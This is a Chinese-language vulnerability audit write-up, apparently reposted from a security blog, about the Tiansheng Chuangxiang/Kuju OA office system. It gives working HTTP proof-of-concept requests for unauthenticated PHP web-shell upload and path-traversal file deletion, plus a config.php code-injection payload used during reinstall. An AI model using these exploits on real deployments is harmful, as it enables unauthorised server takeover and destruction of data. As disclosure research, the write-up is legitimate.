记一次对俩OA协同办公系统​的审计分析 - H1NMaster

admin 2021年12月31日14:47:59评论160 views字数 3993阅读13分18秒阅读模式

以下内容仅供技术研究学习使用!

严禁用于非法操作!

切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!

介绍

天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,融合了天生创想OA长期从事管理软件开发的丰富经验与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限制。

注:天生创想OA协同网络办公系统和苦菊OA这两个是一样的都存在以下问题

当前环境

Apache2.4.39

PHP版本5.3.29

版本:V2019,PHPOA V4.0

漏洞审计

0X01 未授权任意文件上传

漏洞地址:D:\phpstudy_pro\WWW\kuju2019\upload\UploadHandler.php

/Upload/index.php 有包含UploadHandler.php

分析index.php执行流程

包含了数据库配置文件连接数据库

最后包含UploadHandler.php文件实例化UploadHandler类

Userid函数判断是哪个用户上传的

打开UploadHandler.php找到漏洞函数

handle_file_upload函数存在任意文件上传未校验上传的后缀

简单看一下1062行生成文件名给upload_dir然后if判断是否不存在生成文件名一样的目录

实例化调用get_upload_path并传递后缀过去

判断是有后缀名没有就未空version没有值为false执行else语句块返回路径+文件名+后缀给file_path

判断文件,类型赋值给append_file再if判断文件是否是http post上传的

Echo输出临时文件和指定文件

1074行判断append_file为false执行move_uploaded_file函数移动文件把临时文件移动到指定的文件并且未校验cookie可以直接未授权上传

直接成功上传

Shell地址:http://www.kuju.com/data//uploadfile//1//1614235203.php

POC:

POST /upload/index.php?userid=1 HTTP/1.1
Host: www.kuju.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript,/; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:http://www.kuju.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554
Content-Length: 256
Origin: http://www.kuju.com
Connection: close

-----------------------------115858488212690034922831875554
Content-Disposition: form-data;name="files[]"; filename="1.php"
Content-Type: text/plain

<?php
echo 123;
phpinfo();
?>

-----------------------------115858488212690034922831875554—

0X02 任意文件上传

漏洞地址:D:\phpstudy_pro\WWW\kuju2019\uploadclass.php

Upload.php处理文件上传打开upload.php

第6行包含了uploadclass.php并且实例化类

调用uploadclass.php upload_file的函数获取文件类型,名称,大小等

最后调用了seve函数打开uploadclass.php查看seve函数

跟进get_compare_extention()函数

get_compare_extention()函数调用了把extention_list变量用explode函数分割赋值给ext

追踪extention_list的值

在75行发现set_extention函数有赋值给extention_list先实例化类然后调用config_data把‘uploadtype’键赋值给了extention_list

Echo extention_list的值看看

‘uploadtype’的值都是后缀名

回到seve函数追踪check_extention()函数

check_extention()函数for循环ext后缀判断后缀是否是ext中的一个不是就输出允许的后缀extention_list

doc|docx|xlsx|jpg|gif|rar|txt|zip|pdf|xls|ppt|esp|cad|3ds|img|psd|pdf|ai|log|mdb|pot|csv|png

剩下的就是些无关紧要的东西了,只要‘uploadtype’键里的值可控就可以上传任意文件

在后台登录页-》系统设置-》附件上传类型:

添加新的后缀php,上传头像

http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php

成功getshell

0X03 任意文件删除

漏洞地址:D:\phpstudy_pro\WWW\kuju2019\include\dbbackup.class.php

调用了/mana/目录下的mod_data.php文件打开它

最后一行elseif判断do等于upload执行语句块

Echo 对象调用del函数删除成功就输出备份删除成功

追踪del函数

if判断传递过来的是否为数组然后foreach循环删除即使不是数组在333行再单独删除一次

删除文件未校验后缀和未过滤../,导致攻击者可以跨目录删除任意文件

默认备份地址是/data/db/在/db/目录外新建一个1.php

成功删除1.php

可利用任意文件删除导致系统重装删除\cache\install.lock

POC:

POST/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: www.kuju.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://www.kuju.com/admin.php?ac=data&fileurl=mana&do=data_import
Content-Type:application/x-www-form-urlencoded
Content-Length: 37
Origin: http://www.kuju.com
Connection: close
Cookie:toa_auth=MQk4MWRiMDNkZTA5ZWYxZWIyYjc5NjBkNDNmMWEwY2U3MQ%3D%3D; my_expand_3=;my_expand_all_3=
Upgrade-Insecure-Requests: 1

choice[]=../1.php&do=%E5%88%A0+%E9%99%A4

0X04 重装系统Getshell

漏洞地址:D:\phpstudy_pro\WWW\kuju2019\install\install.php

判断用户是否填写完全了然后去创建数据库

然后到309行写文件

Fopen读取config文件赋值给fp追踪config变量是从那里过来的

在108行知道了config文件地址

311行filesize检查文件大小读取文件赋值给content接着打开config.php文件

最后用preg_replace检查替换file_put_contents写入到config.php中

把payload写进去:');phpinfo();//

到这个页面成功创建数据库也代表payload成功插入进去了

访问http://www.kuju.com/config.php

成功getshell打开config.php

图片

这里没有包含include/common.php单引号就不会被\反斜杠转义

利用条件php版本<=5.4.45因为 magic_quotes_gpc 5.4以上版本都被移除了

如果对方php版本>5.4也是可以利用的但是要在php.ini设置magic_quotes_gpc = Off

关闭gpc即可利用

=================================

看到这了就点个关注支持以下吧,你的关注是我创作的动力。

公众号:Master学安全

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:47:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对俩OA协同办公系统​的审计分析 - H1NMasterhttps://cn-sec.com/archives/709681.html

发表评论

匿名网友 填写信息